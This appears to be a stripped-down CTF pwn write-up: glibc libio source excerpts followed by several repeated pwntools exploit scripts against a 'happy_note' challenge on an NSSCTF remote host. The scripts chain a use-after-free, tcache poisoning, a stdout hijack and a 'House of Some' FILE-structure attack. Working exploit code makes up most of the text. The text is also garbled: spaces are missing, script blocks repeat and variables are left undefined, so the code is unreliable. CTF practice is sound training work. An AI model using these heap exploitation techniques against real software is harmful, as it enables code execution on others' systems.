int _IO_new_file_overflow (FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } /* Otherwise must be currently reading. If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end, logically slide the buffer forwards one block (by setting the read pointers to all point at the beginning of the block). This makes room for subsequent output. Otherwise, set the read pointers to _IO_read_end (leaving that alone, so it can continue to correspond to the external position). */ if (__glibc_unlikely (_IO_in_backup (f))) { size_t nbackup = f->_IO_read_end - f->_IO_read_ptr; _IO_free_backup_area (f); f->_IO_read_base -= MIN (nbackup, f->_IO_read_base - f->_IO_buf_base); f->_IO_read_ptr = f->_IO_read_base; }
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
/* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (stdout);
/* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base, // <= fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsignedchar *) fp->_IO_read_ptr; } libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { /* Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == 0) { _IO_wdoallocbuf (f); // <= _IO_free_wbackup_area (f); _IO_wsetg (f, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } } else { /* Otherwise must be currently reading. If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end, logically slide the buffer forwards one block (by setting the read pointers to all point at the beginning of the block). This makes room for subsequent output. Otherwise, set the read pointers to _IO_read_end (leaving that alone, so it can continue to correspond to the external position). */ if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end) { f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base; f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_buf_base; } } f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr; f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr; f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end; f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_read_end;
from pwn import * from time import sleep context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['wt.exe', 'bash', '-c'] T = 0.1
LOCAL = True AUTOGDB = True DEBUG = True if LOCAL: env = {'LD_LIBRARY_PATH': '.'} r = process('./happy_note', env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True, gdbscript='') AUTOGDB and g.execute('dir ./src') and sleep(T) AUTOGDB and g.execute('c') and sleep(T) else: gdb.attach(r, gdbscript='dir ./src') input('Waiting GDB...') else: AUTOGDB = False r = remote('node4.anna.nssctf.cn', 28144)
defadd(idx, size, mode=1): r.sendlineafter(b'>> ', b'1') r.sendlineafter(b'Note size:', str(size).encode()) r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode()) sleep(T)
defdelete(idx): r.sendlineafter(b'>> ', b'2') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
defshow(idx): r.sendlineafter(b'>> ', b'3') r.sendlineafter(b'Which one do you want to show?', str(idx).encode()) r.recvuntil(b'content: ') return r.recvline()[:-1]
defedit(idx, content): r.sendlineafter(b'>> ', b'4') r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendafter(b'Edit your content:', content) sleep(T)
defbackdoor(idx): r.sendlineafter(b'>> ', b'666') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
AUTOGDB and g.execute('p "uaf and leak tcache_key"') and sleep(T) add(0, 0x200) add(1, 0x200) AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T) delete(1) # make sure tcache->counts[tc_idx] > 0 backdoor(0) # uaf AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x40a0)-0x10 0x240') and sleep(T) AUTOGDB and g.execute('bins') and sleep(T) heap_4b0 = u64(show(0).ljust(8, b'\x00'))
from pwn import * from time import sleep context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['wt.exe', 'bash', '-c'] T = 0.1
LOCAL = True AUTOGDB = True DEBUG = False if LOCAL: env = {'LD_LIBRARY_PATH': '.'} r = process('./happy_note', env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True, gdbscript='') AUTOGDB and g.execute('dir ./src') and sleep(T) AUTOGDB and g.execute('c') and sleep(T) else: gdb.attach(r, gdbscript='dir ./src') input('Waiting GDB...') else: AUTOGDB = False r = remote('node4.anna.nssctf.cn', 28465)
defadd(idx, size, mode=1): r.sendlineafter(b'>> ', b'1') r.sendlineafter(b'Note size:', str(size).encode()) r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode()) sleep(T)
defdelete(idx): r.sendlineafter(b'>> ', b'2') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
defshow(idx): r.sendlineafter(b'>> ', b'3') r.sendlineafter(b'Which one do you want to show?', str(idx).encode()) r.recvuntil(b'content: ') return r.recvline()[:-1]
defedit(idx, content): r.sendlineafter(b'>> ', b'4') r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendafter(b'Edit your content:', content) sleep(T)
defuaf(idx): r.sendlineafter(b'>> ', b'666') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T) for i inrange(7): add(i, 0x78) add(11, 0x78) for i inrange(7): delete(i) uaf(11) AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T) heap_base = u64(show(11).ljust(8, b'\x00')) << 12 print(f'{hex(heap_base) = }')
AUTOGDB and g.execute('p "house of some 1"') and sleep(T) from SomeofHouse import HouseOfSome fake_file_start = libc_iolist + 0x10 + 0xe0 + 0xe8 hos = HouseOfSome(libc=libc, controled_addr=fake_file_start) payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0) print(f'{len(payload) = }') edit(1, p64(0) * 2 + p64(libc_iolist + 0x10) + p64(0) + payload)
if DEBUG: #AUTOGDB and g.execute('p *(struct _IO_FILE_plus *)_IO_list_all') and sleep(T) AUTOGDB and g.execute('p *(struct _IO_FILE_plus *)$rebase(0x40a0)') and sleep(T) AUTOGDB and g.execute('p &_IO_list_all') and sleep(T) AUTOGDB and g.execute('p _IO_list_all') and sleep(T)
#AUTOGDB and g.execute('b *$rebase(0x14f6)') and sleep(T) #AUTOGDB and g.execute('b _IO_flush_all_lockp') and sleep(T) #AUTOGDB and g.execute('b _IO_new_file_finish') and sleep(T) delete(3) # exit r.recvuntil(b'empty!\n') hos.bomb(r)
from pwn import * from time import sleep context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['wt.exe', 'bash', '-c'] T = 0.1
LOCAL = False AUTOGDB = True DEBUG = False if LOCAL: env = {'LD_LIBRARY_PATH': '.'} r = process('./happy_note', env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True, gdbscript='') sleep(1) AUTOGDB and g.execute('dir ./src') and sleep(T) AUTOGDB and g.execute('c') and sleep(T) else: gdb.attach(r, gdbscript='dir ./src') input('Waiting GDB...') else: AUTOGDB = False r = remote('node4.anna.nssctf.cn', 28208)
defadd(idx, size, mode=1): r.sendlineafter(b'>> ', b'1') r.sendlineafter(b'Note size:', str(size).encode()) r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode()) sleep(T)
defdelete(idx): r.sendlineafter(b'>> ', b'2') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
defshow(idx): r.sendlineafter(b'>> ', b'3') r.sendlineafter(b'Which one do you want to show?', str(idx).encode()) r.recvuntil(b'content: ') return r.recvline()[:-1]
defedit(idx, content): r.sendlineafter(b'>> ', b'4') r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendafter(b'Edit your content:', content) sleep(T)
defuaf(idx): r.sendlineafter(b'>> ', b'666') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T) for i inrange(7): add(i, 0x78) add(11, 0x78) for i inrange(7): delete(i) uaf(11) AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T) heap_base = u64(show(11).ljust(8, b'\x00')) << 12 print(f'{hex(heap_base) = }')
controled_addr = libc_iolist + 0x10 fp_addr = [controled_addr + fp_length * i for i inrange(6)]
if DEBUG: #AUTOGDB and g.execute('b _IO_flush_all_lockp') and sleep(T) #AUTOGDB and g.execute('b genops.c:701') and sleep(T) AUTOGDB and g.execute('b _IO_new_file_finish') and sleep(T)
from pwn import * from time import sleep context.log_level = 'debug' context.arch = 'amd64'# for flat context.terminal = ['wt.exe', 'bash', '-c'] T = 0.1
LOCAL = False AUTOGDB = True DEBUG = False if LOCAL: env = {'LD_LIBRARY_PATH': '.'} r = process('./happy_note', env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True, gdbscript='') sleep(1) AUTOGDB and g.execute('dir ./src') and sleep(T) AUTOGDB and g.execute('c') and sleep(T) else: gdb.attach(r, gdbscript='dir ./src') input('Waiting GDB...') else: AUTOGDB = False r = remote('node4.anna.nssctf.cn', 28681)
defadd(idx, size, mode=1): r.sendlineafter(b'>> ', b'1') r.sendlineafter(b'Note size:', str(size).encode()) r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode()) sleep(T)
defdelete(idx): r.sendlineafter(b'>> ', b'2') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
defshow(idx): r.sendlineafter(b'>> ', b'3') r.sendlineafter(b'Which one do you want to show?', str(idx).encode()) r.recvuntil(b'content: ') return r.recvline()[:-1]
defedit(idx, content): r.sendlineafter(b'>> ', b'4') r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendafter(b'Edit your content:', content) sleep(T)
defuaf(idx): r.sendlineafter(b'>> ', b'666') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T) for i inrange(7): add(i, 0x78) add(11, 0x78) for i inrange(7): delete(i) uaf(11) AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T) heap_base = u64(show(11).ljust(8, b'\x00')) << 12 print(f'{hex(heap_base) = }')
from pwn import * from time import sleep context.log_level = 'debug' context.arch = 'amd64'# for flat context.terminal = ['wt.exe', 'bash', '-c'] T = 0.1
LOCAL = False AUTOGDB = True DEBUG = False if LOCAL: env = {'LD_LIBRARY_PATH': '.'} r = process('./happy_note', env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True, gdbscript='') sleep(1) AUTOGDB and g.execute('dir ./src') and sleep(T) AUTOGDB and g.execute('c') and sleep(T) else: gdb.attach(r, gdbscript='dir ./src') input('Waiting GDB...') else: AUTOGDB = False r = remote('node4.anna.nssctf.cn', 28956)
defadd(idx, size, mode=1): r.sendlineafter(b'>> ', b'1') r.sendlineafter(b'Note size:', str(size).encode()) r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode()) sleep(T)
defdelete(idx): r.sendlineafter(b'>> ', b'2') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
defshow(idx): r.sendlineafter(b'>> ', b'3') r.sendlineafter(b'Which one do you want to show?', str(idx).encode()) r.recvuntil(b'content: ') return r.recvline()[:-1]
defedit(idx, content): r.sendlineafter(b'>> ', b'4') r.sendlineafter(b'Choose a note:', str(idx).encode()) r.sendafter(b'Edit your content:', content) sleep(T)
defuaf(idx): r.sendlineafter(b'>> ', b'666') r.sendlineafter(b'Choose a note:', str(idx).encode()) sleep(T)
AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T) for i inrange(7): add(i, 0x78) add(11, 0x78) for i inrange(7): delete(i) uaf(11) AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T) heap_base = u64(show(11).ljust(8, b'\x00')) << 12 print(f'{hex(heap_base) = }')
AUTOGDB and g.execute('p "hijack stdout"') and sleep(T) delete(10) edit(11, p64(PROTECT_PTR(heap_base + 0x1070, heap_base))) AUTOGDB and g.execute('bins') and sleep(T) AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T) add(10, 0x78) # chunk10 == chunk11 (pointer) add(8, 0x78) # fake_chunk
libc_stdout = libc.symbols['_IO_2_1_stdout_'] ''' '8' * 0x60 0 size stdout tcache_key ''' edit(8, b'8' * 0x60 + p64(0) + p64(0x211) + p64(PROTECT_PTR(libc_stdout - 0x10, heap_base+0x1000))) AUTOGDB and g.execute('hexdump $chunk4 0x500') and sleep(T) AUTOGDB and g.execute('bins') and sleep(T)
add(0, 0x200, 2) add(1, 0x200, 2) # stdout - 0x10 (e->key) AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('p "house of some 2"') and sleep(T) if DEBUG: libc_IO_wfile_jumps_maybe_mmap = libc.symbols['_IO_wfile_jumps_maybe_mmap'] else: # not found libc_IO_wfile_jumps_maybe_mmap = libc_base + 0x215F40